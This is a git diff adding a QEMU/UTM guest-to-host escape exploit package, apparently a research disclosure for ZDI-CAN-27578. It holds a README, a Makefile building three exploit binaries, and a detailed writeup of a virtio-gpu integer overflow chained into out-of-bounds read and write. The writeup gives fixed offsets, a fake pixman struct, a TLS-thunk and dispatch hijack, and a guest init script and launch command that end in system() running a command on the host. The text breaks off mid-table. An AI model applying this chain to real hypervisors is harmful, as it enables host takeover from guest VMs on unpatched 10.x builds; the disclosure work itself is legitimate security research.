diff --git a/MADBugs/README.md b/MADBugs/README.md index a4222e7..593e4c7 100644 --- a/MADBugs/README.md +++ b/MADBugs/README.md @@ -26,3 +26,4 @@ Between now and the end of April 2026, we’ll be dropping what we find in this * Binary Ninja — *embargoed* * 2026-04-22: [An Apple Kernel Bug, Brought to You by Microsoft (CVE-2026-28825)](CVE-2026-28825) * 2026-04-24: [Ladybird Browser RCE via WebAssembly Shared Memory UAF](ladybird) +* 2026-04-27: [QEMU and UTM Escape via virtio-gpu (ZDI-CAN-27578)](qemu) diff --git a/MADBugs/qemu/.gitignore b/MADBugs/qemu/.gitignore new file mode 100644 index 0000000..526a3bb --- /dev/null +++ b/MADBugs/qemu/.gitignore @@ -0,0 +1,14 @@ +# Compiled exploit binaries (built by `make`) +exploit +exploit_linux +exploit_utm + +# Build artifacts pulled by run_poc_*.sh +vmlinuz +vmlinuz-virt +vmlinuz-alpine +initramfs.gz +initramfs-virt +initramfs-alpine +initramfs-exploit.gz +initramfs_mod/ diff --git a/MADBugs/qemu/Makefile b/MADBugs/qemu/Makefile new file mode 100644 index 0000000..fcc077e --- /dev/null +++ b/MADBugs/qemu/Makefile @@ -0,0 +1,19 @@ +CC_MACOS = aarch64-linux-musl-gcc +CC_LINUX = aarch64-linux-gnu-gcc +CFLAGS = -static -O2 + +all: exploit exploit_utm exploit_linux + +# macOS targets (cross-compiled with musl) +exploit: exploit.c + $(CC_MACOS) $(CFLAGS) -o $@ $< + +exploit_utm: exploit_utm.c + $(CC_MACOS) $(CFLAGS) -o $@ $< + +# Linux aarch64 target +exploit_linux: exploit_linux.c + $(CC_LINUX) $(CFLAGS) -o $@ $< + +clean: + rm -f exploit exploit_utm exploit_linux diff --git a/MADBugs/qemu/README.md b/MADBugs/qemu/README.md new file mode 100644 index 0000000..71545a3 --- /dev/null +++ b/MADBugs/qemu/README.md @@ -0,0 +1,44 @@ +# QEMU and UTM Escape via virtio-gpu (ZDI-CAN-27578) + +An integer overflow in QEMU's `virtio-gpu` device (`hw/display/virtio-gpu.c:calc_image_hostmem`) lets a guest create a 2D resource whose pixman buffer is a few hundred bytes while `res->width` is `0x40000001`, giving forward OOB read/write up to ~4 GB past the buffer. The read primitive is novel: the guest points the active scanout at host memory via `set_scanout`, connects to QEMU's own VNC server through SLIRP loopback (`10.0.2.2:5900`), and reads QEMU's address space back as pixel data. The write primitive then hijacks pixman's `_global_implementation` (or QEMU's `__la_symbol_ptr[g_free]` on UTM's memfd layout) to call `system()`. + +End result: a single static aarch64 binary inside an unprivileged guest process opens Calculator on the macOS host. + +PoC video: https://www.youtube.com/watch?v=WWfxGyWoXrc + +| | | +|---|---| +| **Affected** | QEMU 8.1.0 – 10.2.3 (all builds with `virtio-gpu-pci`); UTM ≤ 4.7.5 | +| **Fixed in** | QEMU 11.0.0 ([`c035d5ea`](https://github.com/qemu/qemu/commit/c035d5eadf400670593a76778f98f052d7482968)), **not backported to 10.x** | +| **ZDI** | ZDI-CAN-27578 | +| **Tested on** | QEMU 10.0.2, UTM 4.7.5, macOS 26.4.1 (Tahoe), Apple Silicon | +| **Prerequisite** | VNC reachable from guest (default on Proxmox/libvirt/OpenStack; one-line config on UTM) | + +## Artifacts + +| | | +|---|---| +| [`blog.md`](blog.md) | the [MAD Bugs blog post](https://blog.calif.io/t/madbugs) | +| [`WRITEUP.md`](WRITEUP.md) | full technical advisory: vuln details, five-phase chain, UTM SPICE-safe variant, memfd-layout `g_free` fallback, offsets, prompt log | +| [`exploit.c`](exploit.c) | standalone QEMU PoC (homebrew pixman, no SPICE) | +| [`exploit_utm.c`](exploit_utm.c) | UTM.app PoC (SPICE-safe, pixman + QEMU fingerprints, `g_free` fallback) | +| [`exploit_linux.c`](exploit_linux.c) | Linux aarch64 host variant | +| [`run_poc_macos.sh`](run_poc_macos.sh) | one-shot: build vulnerable QEMU 10.0.2 + HVF, build exploit, pop calc | +| [`run_poc_utm.sh`](run_poc_utm.sh) | UTM.app VM provisioner + launcher | +| [`run_poc_linux.sh`](run_poc_linux.sh) | same, Linux host | + +## Quick start + +macOS arm64, Homebrew installed: + +```bash +./run_poc_macos.sh # ~5 min: deps, QEMU 10.0.2, exploit, initramfs +./run_poc_macos.sh run # ~30 s from boot to Calculator +``` + +UTM.app (requires `-vnc :0` in the VM's QEMU arguments): + +```bash +./run_poc_utm.sh # build exploit, provision 'exploit-test' VM +./run_poc_utm.sh run # start via utmctl; watch the serial console in UTM +``` diff --git a/MADBugs/qemu/WRITEUP.md b/MADBugs/qemu/WRITEUP.md new file mode 100644 index 0000000..05a0cac --- /dev/null +++ b/MADBugs/qemu/WRITEUP.md @@ -0,0 +1,995 @@ +# QEMU and UTM Escape via virtio-gpu (ZDI-CAN-27578) + +## Contents + +- [Overview](#overview) +- [Vulnerability Details](#vulnerability-details) + - [Vulnerability 1: Integer Overflow in `calc_image_hostmem` (OOB Write)](#vulnerability-1-integer-overflow-in-calc_image_hostmem-oob-write) + - [Vulnerability 2: Out-of-Bounds Read via `set_scanout` + VNC (Information Leak)](#vulnerability-2-out-of-bounds-read-via-set_scanout--vnc-information-leak) + - [Vulnerability 3: Out-of-Bounds Write via `transfer_to_host_2d`](#vulnerability-3-out-of-bounds-write-via-transfer_to_host_2d) + - [Relationship Between the Three Vulnerabilities](#relationship-between-the-three-vulnerabilities) +- [Exploitation Strategy](#exploitation-strategy) + - [Driving virtio-gpu from Userspace](#driving-virtio-gpu-from-userspace) + - [Phase 1: Trigger the Integer Overflow](#phase-1-trigger-the-integer-overflow) + - [Phase 2: Information Leak — Defeat ASLR via VNC](#phase-2-information-leak--defeat-aslr-via-vnc) + - [Phase 3: Plant Fake Data Structure](#phase-3-plant-fake-data-structure) + - [Phase 4: Hijack pixman Dispatch](#phase-4-hijack-pixman-dispatch) + - [Phase 5: Trigger Code Execution](#phase-5-trigger-code-execution) + - [Challenges Encountered](#challenges-encountered) +- [Reproduction Steps](#reproduction-steps) + - [Prerequisites](#prerequisites) + - [Step 1: Build QEMU (Unmodified)](#step-1-build-qemu-unmodified) + - [Step 2: Prepare the Guest Kernel](#step-2-prepare-the-guest-kernel) + - [Step 3: Build the Exploit](#step-3-build-the-exploit) + - [Step 4: Build the Guest Initramfs](#step-4-build-the-guest-initramfs) + - [Step 5: Run the Exploit](#step-5-run-the-exploit) + - [Expected Output](#expected-output) +- [Platform-Specific Notes](#platform-specific-notes) + - [macOS arm64 Constraints](#macos-arm64-constraints) + - [VNC Race Condition](#vnc-race-condition) +- [Key Offsets (pixman 0.46.4, arm64)](#key-offsets-pixman-0464-arm64) +- [Key Offsets (macOS 15.x shared cache, arm64)](#key-offsets-macos-15x-shared-cache-arm64) +- [Suggested Fix](#suggested-fix) +- [Vulnerability Discovery](#vulnerability-discovery) +- [CVE and Patch History](#cve-and-patch-history) +- [UTM Version Gap](#utm-version-gap) +- [UTM.app Exploitation (SPICE-Safe Variant)](#utmapp-exploitation-spice-safe-variant) + - [Overview](#overview-1) + - [The SPICE Problem](#the-spice-problem) + - [Key Differences from Standalone QEMU Exploit](#key-differences-from-standalone-qemu-exploit) + - [Solution: Buffer-First Fill Strategy](#solution-buffer-first-fill-strategy) + - [Pixman TEXT Page Fingerprinting](#pixman-text-page-fingerprinting) + - [UTM pixman Framework Offsets](#utm-pixman-framework-offsets) + - [Lazy Binding: A Key Advantage](#lazy-binding-a-key-advantage) + - [Self-Contained Command via Shell Globbing](#self-contained-command-via-shell-globbing) + - [UTM Exploitation Walkthrough](#utm-exploitation-walkthrough) + - [memfd Layout and the QEMU `g_free` Fallback](#memfd-layout-and-the-qemu-g_free-fallback) + - [UTM Reproduction Steps](#utm-reproduction-steps) +- [Conversation Prompts](#conversation-prompts) + +--- + +## Overview + +A set of integer overflow vulnerabilities in QEMU's virtio-gpu device (`hw/display/virtio-gpu.c`) allow a malicious guest VM to achieve arbitrary read/write of the host process's memory, ultimately leading to full guest-to-host code execution. The exploit requires no modifications to QEMU, defeats ASLR at runtime, and works against an unmodified QEMU 10.0.2 build on macOS arm64 with HVF acceleration. + +**Demonstrated result**: A guest VM opens Calculator.app on the macOS host. + +| | | +|---|---| +| **Affected software** | QEMU 8.1.0 through 10.2.3 (all builds with virtio-gpu-pci) | +| **ZDI** | ZDI-CAN-27578 | +| **Introduced in** | QEMU 8.1.0 (commit `9462ff4695aa`, June 2023) | +| **Fixed in** | QEMU 11.0.0 (April 21, 2026) — not backported to any 10.x stable branch | +| **Patch** | [`c035d5ea`](https://github.com/qemu/qemu/commit/c035d5eadf400670593a76778f98f052d7482968) | +| **Tested on** | QEMU 10.0.2, macOS 26.4.1 (Tahoe), Apple Silicon (arm64) | +| **Attack surface** | Guest-accessible virtio-gpu PCI device | +| **Impact** | Arbitrary host code execution from guest context | +| **ASLR** | Fully bypassed at runtime from the guest | +| **Host modifications** | None required | +| **Discovery method** | Manual source code audit | + +--- + +## Vulnerability Details + +### Vulnerability 1: Integer Overflow in `calc_image_hostmem` (OOB Write) + +**File**: `hw/display/virtio-gpu.c`, line 230 + +```c +static uint32_t calc_image_hostmem(pixman_format_code_t pformat, + uint32_t width, uint32_t height) +{ + int bpp = PIXMAN_FORMAT_BPP(pformat); + int stride = ((width * bpp + 0x1f) >> 5) * sizeof(uint32_t); + return height * stride; +} +``` + +The `stride` computation overflows when `width * bpp` exceeds 32 bits. For `width = 0x40000001` and `bpp = 32` (BGRA8888): + +``` +width * bpp = 0x40000001 * 32 = 0x800000020 +stride = ((0x800000020 + 0x1f) >> 5) * 4 + = ((0x80000003f) >> 5) * 4 + = 0x40000001 * 4 (truncated to int) + = 0x100000004 (overflows 32-bit int to 4) +stride = 4 + +hostmem = height * stride = 128 * 4 = 512 +``` + +QEMU allocates a **512-byte** pixman image buffer for a resource that logically represents **0x40000001 x 128 pixels** (~512 GB). All subsequent bounds checks in `set_scanout` and `transfer_to_host_2d` validate against the *logical* resource dimensions (`res->width = 0x40000001`, `res->height = 128`), not the actual allocation size. + +### Vulnerability 2: Out-of-Bounds Read via `set_scanout` + VNC (Information Leak) + +**File**: `hw/display/virtio-gpu.c`, line 607 (`virtio_gpu_do_set_scanout`) + +```c +if (r->x > fb->width || // fb->width = 0x40000001 (overflowed) + r->y > fb->height || // fb->height = 128 + r->width < 16 || // minimum scanout: 16x16 + r->height < 16 || + r->x + r->width > fb->width || + r->y + r->height > fb->height) { + // ... error ... +} + +data = (uint8_t *)pixman_image_get_data(res->image); +void *ptr = data + fb->offset; // fb->offset = r->x * 4 + r->y * 4 +rect = pixman_image_create_bits(fb->format, r->width, r->height, + ptr, fb->stride); +``` + +The bounds check passes for any `x + width <= 0x40000001` and `y + height <= 128`. Since `fb->offset = r->x * bytes_pp + r->y * stride = r->x * 4 + r->y * 4`, a guest can create a display surface at any forward offset up to ~4 GB from the 512-byte buffer. This surface is exposed through QEMU's VNC server — the guest reads back the host memory as pixel data by connecting to the VNC port via the guest's SLIRP network. + +### Vulnerability 3: Out-of-Bounds Write via `transfer_to_host_2d` + +**File**: `hw/display/virtio-gpu.c`, line 432 + +```c +if (t2d.r.x > res->width || // res->width = 0x40000001 + t2d.r.y > res->height || // res->height = 128 + t2d.r.x + t2d.r.width > res->width || + t2d.r.y + t2d.r.height > res->height) { + // ... error ... +} + +dst_offset = (t2d.r.y + h) * stride + (t2d.r.x * bpp); +iov_to_buf(res->iov, res->iov_cnt, src_offset, + (uint8_t *)img_data + dst_offset, // OOB write + t2d.r.width * bpp); +``` + +The same bounds check against the logical dimensions allows writing guest-controlled data to arbitrary offsets past the 512-byte buffer, up to ~4 GB forward. + +### Relationship Between the Three Vulnerabilities + +Vulnerability 1 is the root cause — the integer overflow that creates the size/dimension mismatch. Vulnerabilities 2 and 3 are the consequences: `set_scanout` and `transfer_to_host_2d` both trust the logical resource dimensions (`res->width`, `res->height`) for bounds checking rather than the actual allocation size. Without Vulnerability 1, the logical dimensions and allocation size agree, so the bounds checks in Vulnerabilities 2 and 3 would be effective. The upstream patch ([`c035d5ea`](https://github.com/qemu/qemu/commit/c035d5eadf400670593a76778f98f052d7482968)) fixes only Vulnerability 1 — preventing the overflow at resource creation time — which makes Vulnerabilities 2 and 3 unreachable. The bounds checks in `set_scanout` and `transfer_to_host_2d` themselves remain unchanged. + +--- + +## Exploitation Strategy + +The exploit chains all three vulnerabilities to achieve guest-to-host code execution in five phases. The three vulnerabilities are not independently exploitable in isolation — Vulnerability 1 (the integer overflow) creates the size/dimension mismatch that makes Vulnerabilities 2 and 3 (the OOB read and write) reachable. All three are manifestations of the same root cause: `calc_image_hostmem` computes a small allocation while the rest of virtio-gpu trusts the large logical dimensions. + +### Driving virtio-gpu from Userspace + +The exploit runs as an unprivileged Linux userspace process inside the guest VM. It communicates directly with the virtio-gpu PCI device by: + +1. Finding the device via sysfs (`/sys/bus/pci/devices/*/vendor` + `device` matching `0x1af4:0x1050`) +2. Unbinding the kernel's virtio-pci driver so userspace can take ownership +3. Memory-mapping the PCI BARs and manually performing the virtio handshake (feature negotiation, virtqueue setup, status bits) +4. Sending virtio-gpu commands by writing command structs into the virtqueue descriptors and kicking the notification register + +This raw virtio transport approach avoids any dependency on a guest GPU driver — the exploit needs only `/dev/mem` access (or sysfs resource files) to talk directly to the hardware. + +### Phase 1: Trigger the Integer Overflow + +Create a virtio-gpu 2D resource with overflow dimensions: + +- **Width**: `0x40000001` (1,073,741,825) +- **Height**: `128` (homebrew variant) or `65536` (UTM variant) +- **Format**: `VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM` (32bpp) + +This creates a resource where `stride = 4`, `hostmem = 512` (or 256KB with height=65536), but `res->width = 0x40000001`. QEMU's hostmem accounting accepts this — 512 bytes is well under the per-resource limit — and pixman allocates a tiny buffer for what it believes is a 4-byte-stride image. + +**Heap spray**: The exploit also creates 800 additional resources with the same overflow dimensions. Each resource triggers its own 512-byte (or 256KB) pixman allocation. On macOS, `vm_allocate` uses a monotonically increasing address hint, so these allocations form a roughly contiguous block in virtual memory. This ensures the forward OOB region from the exploit buffer contains mapped memory rather than unmapped gaps — critical for safe scanning. + +### Phase 2: Information Leak — Defeat ASLR via VNC + +This is the most technically involved phase. The challenge: ASLR randomizes all host addresses, and we need to find `system()` and the exploit buffer's absolute address — from inside the guest, with no host cooperation. + +#### Prior art + +Before describing the primitive, a note on prior art. We are not aware of a prior public reference for using QEMU's built-in VNC server as a memory-disclosure oracle reached over SLIRP loopback from the guest. The closest comparable QEMU read primitives we found: + +- **OtterSec, "From virtio-snd 0-Day to Hypervisor Escape" (March 2026)** — leaks QEMU's base via `VirtIOSoundPCMBuffer.vq->handle_output` after pivoting through `virtio-9p` xattr arbitrary R/W. Different bug, different leak path. https://osec.io/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape/ +- **Talbi & Fariello, "VM escape - QEMU Case Study" (Phrack/SSTIC, 2017)** — leaks ~64 KB of QEMU heap via CVE-2015-5165, an RTL8139 NIC packet-length miscalculation. https://www.exploit-db.com/papers/42883 +- **CVE-2017-15124 and related** — QEMU VNC server bugs, but DoS rather than information disclosure. +- **Classic SLIRP fake-ICMP-echo leak** — uses SLIRP to reflect host data, but unrelated to display devices. + +If you know of a published exploit that uses this specific shape (guest → SLIRP loopback → QEMU's own VNC server → read OOB display surface as pixel data), we want to hear about it; we will update this section. + +#### The VNC OOB Read Primitive + +The key insight is that Vulnerability 2 (`set_scanout`) creates a display surface pointing into OOB memory, and QEMU's VNC server will **send that memory as pixel data** to any connected VNC client. The guest can be its own VNC client — QEMU's SLIRP user-mode networking makes the host reachable at `10.0.2.2`, so the guest connects to `10.0.2.2:5900`. + +The read primitive works in three steps: + +``` +1. SET_SCANOUT(resource=42, x=OOB_OFFSET/4, y=0, w=64, h=16) + → QEMU computes: ptr = pixbuf_data + (x * 4) = pixbuf_data + OOB_OFFSET + → Bounds check passes: x + w <= 0x40000001 ✓ + → Display surface now points OOB_OFFSET bytes past the 512-byte buffer + +2. RESOURCE_FLUSH(resource=42) + → Marks the display as dirty, triggering VNC to re-send the framebuffer + +3. VNC FramebufferUpdateRequest (from guest TCP socket) + → QEMU's VNC server composites the surface via pixman + → pixman reads from the OOB pointer, copies into the VNC output buffer + → VNC sends raw pixel data back to the guest over TCP + → Guest receives host memory contents as 32bpp BGRA pixel values +``` + +Each read returns `w × h × 4` bytes of host memory. The exploit uses 64x16 surfaces (256 bytes of linear data per read) for targeted reads and 4096x16 surfaces (16KB — one full macOS arm64 page) for scanning. + +**Critical ordering**: The VNC `FramebufferUpdateRequest` must be sent **before** `RESOURCE_FLUSH`, not after. If flush goes first, QEMU's VNC refresh timer (~30ms period) may consume the dirty flag before the client's request arrives. The server then has nothing to send and the client blocks forever. Sending the request first ensures QEMU always has a pending client request when the dirty flag is set. + +After each OOB read, the exploit resets the scanout to point back inside the buffer (`SET_SCANOUT` with `x=0`) to avoid leaving a dangling OOB surface that could crash if the VNC refresh timer fires during processing. + +#### Scanning for Mach-O Headers + +The exploit scans forward from the exploit buffer one page at a time (16KB steps), reading the first 256 bytes of each page and checking for Mach-O magic (`0xFEEDFACF`). On macOS, dylibs loaded by QEMU (pixman, glib, libpng, etc.) are mmap'd near the heap. The spray resources push the scan range into this region. + +Each Mach-O header contains a `sizeofcmds` field at offset `+0x14` that is unique per library. The exploit identifies **libpixman-1.0.dylib** by matching `sizeofcmds = 0x6B8` (homebrew) or `0x758` (UTM framework). Typically pixman is found within the first 155 pages (~2.4MB) of forward scan, at offsets like `+0x6C000`. + +#### Resolving Host Addresses + +Once pixman's Mach-O header is located at a known OOB offset, the exploit reads two specific locations within pixman's `__DATA` segments to resolve all needed addresses: + +**Step 1: Shared cache slide from GOT[free]** + +``` +OOB read at (pixman_header + 0x78060) → 8 bytes → free_resolved + +free() lives in libsystem_malloc, which is part of the macOS shared cache. +All shared cache libraries share a single ASLR slide. + +slide = free_resolved - FREE_UNSLID (FREE_UNSLID = 0x1802E36B8) +system_addr = SYSTEM_UNSLID + slide (SYSTEM_UNSLID = 0x1803F4438) +``` + +The unslid addresses are constants per macOS version — they change between OS updates but are fixed for a given build. The slide is randomized per boot. + +**Step 2: Pixman base and exploit buffer address from rebase entry** + +``` +OOB read at (pixman_header + 0x780D0) → 8 bytes → rebase_val + +This is a pointer in pixman's __DATA_CONST that dyld rebased at load time. +It points to pixman's _pixman_constructor at unslid vmaddr 0x24E0. + +pixman_base = rebase_val - 0x24E0 (absolute load address of pixman) +pixbuf_addr = pixman_base - pixman_oob (absolute address of exploit buffer) +``` + +The pixbuf absolute address is needed because the fake struct we plant must contain pointers back to itself (the `fast_paths` pointer at offset `0x10` must point to offset `0x40` within the same buffer). + +### Phase 3: Plant Fake Data Structure + +Using the OOB write primitive (Vulnerability 3: `TRANSFER_TO_HOST_2D`), write a crafted **fake `pixman_implementation_t`** struct into the exploit pixbuf at offset 0. + +The write primitive works by calling `TRANSFER_TO_HOST_2D` with a large `x` coordinate. QEMU computes `dst_offset = x * bpp` and copies guest-provided data to `pixbuf_data + dst_offset` — writing past the buffer. Writing at `x=0` writes to the start of the buffer itself (within bounds), which is where we place the fake struct. + +``` +Offset Content +0x00 "open /*/*/Calc*\0" <- command string (15 bytes + null) +0x08 NULL <- fallback = NULL (terminates chain walk) +0x10 &pixbuf+0x40 <- fast_paths pointer (absolute address) +0x40 fast_path[0]: <- wildcard entry matching ANY composite + op = 0x40 (PIXMAN_OP_any) + src = 0x50000 (PIXMAN_any format) + mask = 0x50000 + dest = 0x50000 + flags = 0 (passes all flag checks) + func = system() <- dispatch target (absolute address) +0x68 fast_path[1]: <- sentinel + op = 0x3F (PIXMAN_OP_NONE — end of list) +``` + +**Why this struct layout works**: pixman's `_pixman_implementation_lookup_composite` iterates through an implementation's `fast_paths` array looking for an entry whose `op`, `src_format`, `mask_format`, and `dest_format` match the current composite operation. The values `0x40` (op) and `0x50000` (format) are wildcard sentinels — verified by disassembling the function at pixman `+0x33128`: + +- `cmp w10, #0x40` — if entry op == 0x40, skip the op comparison (match any operation) +- `cmp w10, #0x50, lsl #12` — if entry format == 0x50000, skip format comparison (match any format) +- `bics wzr, w10, wN` — flag check: `(entry_flags & ~actual_flags) == 0`, always true when entry_flags = 0 + +The `func` pointer at `fast_path[0] + 0x20` is called with the implementation pointer as the first argument (`x0` on arm64). Since the implementation pointer points to offset 0 of our fake struct, and offset 0 contains the command string, `system()` receives our command string as its argument. + +**Command string constraint**: The command must fit in 15 bytes (offsets `0x00` through `0x0E`), because the `fast_paths` pointer at offset `0x10` must not be corrupted. `open -a Calculator` is 18 bytes — too long. The solution uses shell globbing: `open /*/*/Calc*` (15 characters), which the shell expands to `/System/Applications/Calculator.app`. No host-side files needed. + +### Phase 4: Hijack pixman Dispatch + +Two OOB writes redirect pixman's composite dispatch to our fake struct: + +**Write 1: Bypass the TLS fast_path_cache** + +pixman caches recently-used composite functions in a per-thread `fast_path_cache` variable. If we only overwrote `_global_implementation`, the cache would satisfy most lookups without ever consulting our fake implementation chain. + +The cache is accessed via macOS's TLS descriptor mechanism: `__thread_vars` contains a function pointer (the "thunk") that is called to resolve the TLS variable's address. By overwriting this thunk with the address of `_dummy_composite_rect` (a function at pixman `+0x332F8` that consists of a single `ret` instruction), the TLS accessor returns the address of the descriptor struct itself. All bytes in the descriptor are either zero or small values, so every cache lookup reads `op = 0` → no match → cache miss → falls through to the implementation chain walk. + +``` +OOB write at (pixman_header + 0x80020) ← ret_gadget address +``` + +**Write 2: Redirect the implementation chain** + +`_global_implementation` is an 8-byte BSS variable that holds the head of pixman's implementation linked list. Every composite operation that misses the TLS cache starts its search here. Overwriting it with the exploit buffer's absolute address makes pixman treat our fake struct as the first (and only) implementation. + +``` +OOB write at (pixman_header + 0x801B8) ← pixbuf_addr +``` + +The order matters: TLS thunk first, then `_global_implementation`. If reversed, a composite could fire between the two writes — hitting our fake struct while the TLS cache is still functional, potentially returning a stale cached function pointer instead of walking our chain. + +### Phase 5: Trigger Code Execution + +Force a VNC framebuffer composite by setting a small scanout and flushing: + +``` +SET_SCANOUT(resource=42, x=0, y=0, w=64, h=64) +RESOURCE_FLUSH(resource=42) +VNC FramebufferUpdateRequest + +→ QEMU's VNC server calls pixman_image_composite32() to blit the surface + → _pixman_implementation_lookup_composite() + → TLS fast_path_cache access: thunk = ret → returns &descriptor → all zeros → cache miss + → Walk _global_implementation chain → dereference our fake struct + → Read fast_paths pointer → our array at pixbuf+0x40 + → fast_path[0]: op=0x40 (any), formats=0x50000 (any) → MATCH + → Call func(implementation, ...) = system("open /*/*/Calc*") + → /bin/sh expands glob → open /System/Applications/Calculator.app + → Calculator.app opens on the host +``` + +The `x0` register (first argument on arm64) holds the implementation pointer, which points to offset 0 of our buffer — the command string. `system()` passes this to `/bin/sh -c`, which expands the glob and executes the command. + +### Challenges Encountered + +Several issues required significant debugging during development: + +1. **No OOB read primitive initially**: The integer overflow gives an OOB write (via `transfer_to_host_2d`), but not an obvious read. The key discovery was that `set_scanout` creates a display surface from the OOB region, and VNC will send that surface's pixel data to a connected client. The guest connecting to its own QEMU's VNC server via SLIRP network completes the loop — turning a write-only OOB into a full read/write primitive. + +2. **Read-only GOT (`__DATA_CONST`)**: The initial exploitation plan was to overwrite a GOT entry (e.g., `free` → `system`) in a writable GOT. But all homebrew dylibs on modern macOS use `LC_DYLD_CHAINED_FIXUPS`, which places GOT entries in `__DATA_CONST` — made read-only after dyld binding. Direct GOT overwrites are impossible. The exploit pivots to targeting pixman's writable `__DATA` segment (BSS variables and TLS descriptors) instead. + +3. **TLS cache preventing dispatch hijack**: Overwriting `_global_implementation` alone is insufficient. pixman's per-thread `fast_path_cache` (a TLS variable) caches the last 4 composite function lookups. Most VNC composites hit the cache and never consult the implementation chain. The fix: overwrite the TLS descriptor's thunk function pointer with a `ret` gadget, making the cache accessor return a pointer to the descriptor itself (all zeros → guaranteed cache miss on every lookup). + +4. **VNC stalling after ~40 reads**: The OOB scan consistently stalled mid-way. Root cause: a race between `RESOURCE_FLUSH` (sets VNC dirty flag) and QEMU's VNC refresh timer (~30ms, clears dirty flag and sends update). If the timer fires between flush and the client's request, the server has nothing to send. Fix: send `FramebufferUpdateRequest` before the flush, ensuring the server always has a pending request. + +5. **QEMU enforces minimum scanout of 16x16**: Early attempts to use 1-pixel-high scanouts (`height=1`) to minimize read footprint failed — QEMU rejects any scanout smaller than 16x16. The exploit uses 64x16 surfaces (256 bytes linear) for targeted reads. + +6. **15-byte command string limit**: The fake struct places the command at offset 0 and the `fast_paths` pointer at offset `0x10`. Only 15 usable bytes for the command. `open -a Calculator` (18 chars) doesn't fit. Solution: shell globbing — `open /*/*/Calc*` (15 chars) expands to the full path. (`/S*/A*/Ca*` was the first attempt but also matched `Calendar.app`.) + +7. **SPICE crashes in UTM** (see UTM section below): UTM always enables SPICE, which reads the display surface on a 30ms timer. Any OOB read that points the surface at unmapped memory causes SIGSEGV. Required a completely different heap layout strategy (buffer-first fill) for the UTM variant. + +--- + +## Reproduction Steps + +### Prerequisites + +- macOS on Apple Silicon (arm64) +- QEMU 10.0.2 source (or the UTM fork at the same version) +- Homebrew with: `pixman`, `libpng`, `glib`, etc. (QEMU build dependencies) +- `aarch64-linux-musl-gcc` cross-compiler (e.g., from `brew install filosottile/musl-cross/musl-cross`) +- An Alpine Linux aarch64 kernel and initramfs (for the guest VM) + +### Step 1: Build QEMU (Unmodified) + +```bash +cd /path/to/qemu-10.0.2 +mkdir build-exploit && cd build-exploit +../configure --target-list=aarch64-softmmu --enable-hvf --enable-vnc +make -j$(sysctl -n hw.ncpu) +``` + +### Step 2: Prepare the Guest Kernel + +Download Alpine Linux aarch64 virtual ISO and extract the kernel: + +```bash +mkdir -p /tmp/alpine_iso +# Mount or extract alpine-virt-*.iso to /tmp/alpine_iso +# You need: /tmp/alpine_iso/boot/vmlinuz-virt +``` + +### Step 3: Build the Exploit + +```bash +cd /path/to/guest_exploit +aarch64-linux-musl-gcc -static -O2 -o exploit exploit.c +``` + +### Step 4: Build the Guest Initramfs + +```bash +# Extract Alpine's initramfs as a base +mkdir -p /tmp/initramfs_mod +cd /tmp/initramfs_mod +gunzip -c /tmp/alpine_iso/boot/initramfs-virt | cpio -id + +# Install the exploit binary +cp /path/to/guest_exploit/exploit bin/exploit + +# Create the init script +cat > init << 'INITEOF' +#!/bin/sh +/bin/busybox --install -s +export PATH="/usr/bin:/bin:/usr/sbin:/sbin" + +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev + +echo "=====================================" +echo " virtio-gpu OOB exploit guest" +echo "=====================================" + +sleep 1 + +echo "Loading network drivers..." +modprobe virtio_net 2>/dev/null +sleep 1 + +echo "Setting up network for VNC info leak..." +ip link set lo up 2>/dev/null +ip link set eth0 up 2>/dev/null +ip addr add 10.0.2.15/24 dev eth0 2>/dev/null +ip route add default via 10.0.2.2 2>/dev/null +sleep 2 + +echo "Running exploit..." +/bin/exploit +echo "Exploit finished (exit code: $?)." +exec /bin/sh +INITEOF +chmod +x init + +# Pack the initramfs +find . | cpio -o -H newc | gzip > /tmp/initramfs-exploit.gz +``` + +### Step 5: Run the Exploit + +```bash +/path/to/build-exploit/qemu-system-aarch64 \ + -accel hvf \ + -M virt \ + -cpu host \ + -m 512 \ + -kernel /tmp/alpine_iso/boot/vmlinuz-virt \ + -initrd /tmp/initramfs-exploit.gz \ + -append "console=ttyAMA0 iommu.passthrough=1" \ + -device virtio-gpu-pci \ + -nic user,model=virtio-net-pci \ + -vnc :0 \ + -display none \ + -nographic \ + -no-reboot +``` + +After ~30 seconds, Calculator.app opens on the host. + +### Expected Output + +``` +Phase 1: Create overflow resource + [+] Exploit resource 42 created + [+] 800 fillers + +Phase 2: Find pixman via OOB scan + [1] Mach-O at +0x4000 sizeofcmds=0x4b8 + [2] Mach-O at +0x38000 sizeofcmds=0x640 + [3] Mach-O at +0x6c000 sizeofcmds=0x6b8 <- PIXMAN + free() resolved = 0x19015b6b8 + shared cache slide = 0xfe78000 + system() = 0x19026c438 + pixman base = 0x106a3c000 + pixbuf addr = 0x1069d0000 + +Phase 3: Plant fake pixman struct + [+] Fake implementation struct planted + +Phase 4: Hijack pixman dispatch + [+] TLS cache bypassed + [+] Dispatch redirected to fake struct + +Phase 5: Trigger -- pop calc + -> system("open /*/*/Calc*") + -> Calculator.app opens on host +``` + +--- + +## Platform-Specific Notes + +### macOS arm64 Constraints + +Several macOS-specific factors shaped the exploit: + +1. **16 KB pages**: macOS arm64 uses 16 KB pages. The Mach-O scan steps by `0x4000` per page. + +2. **Chained fixups (LC_DYLD_CHAINED_FIXUPS)**: All homebrew dylibs use chained fixups, making `__DATA_CONST` (including the GOT) read-only after dyld binding. This blocks direct GOT overwrites. The exploit targets pixman's `__DATA` segment instead (BSS/TLS variables), which remains writable. + +3. **Shared cache slide uniformity**: All shared cache libraries share the same ASLR slide. Reading `free()` from any dylib's GOT is sufficient to compute the address of `system()`. + +4. **TLS implementation**: macOS's TLS uses descriptor-based access. The `__thread_vars` section contains function pointers that are called to resolve TLS addresses. Overwriting these function pointers is an effective control-flow hijack primitive. + +5. **Minimum scanout dimensions**: QEMU enforces `width >= 16` and `height >= 16` for scanouts, requiring the VNC read primitive to use at least 16x16 pixel surfaces. + +### VNC Race Condition + +A critical implementation detail: the VNC `FramebufferUpdateRequest` must be sent *before* `RESOURCE_FLUSH`. If flush is sent first, QEMU's VNC refresh timer may consume the dirty flag before the client's request arrives, causing the server to have nothing to send and the client to hang indefinitely. The exploit sends the request first to ensure the server always has a pending request when the dirty flag is set. + +--- + +## Key Offsets (pixman 0.46.4, arm64) + +| Symbol | Offset | Section | +|--------|--------|---------| +| Mach-O header (FEEDFACF) | `0x00000` | `__TEXT` | +| `_pixman_image_composite32` | `0x012A8` | 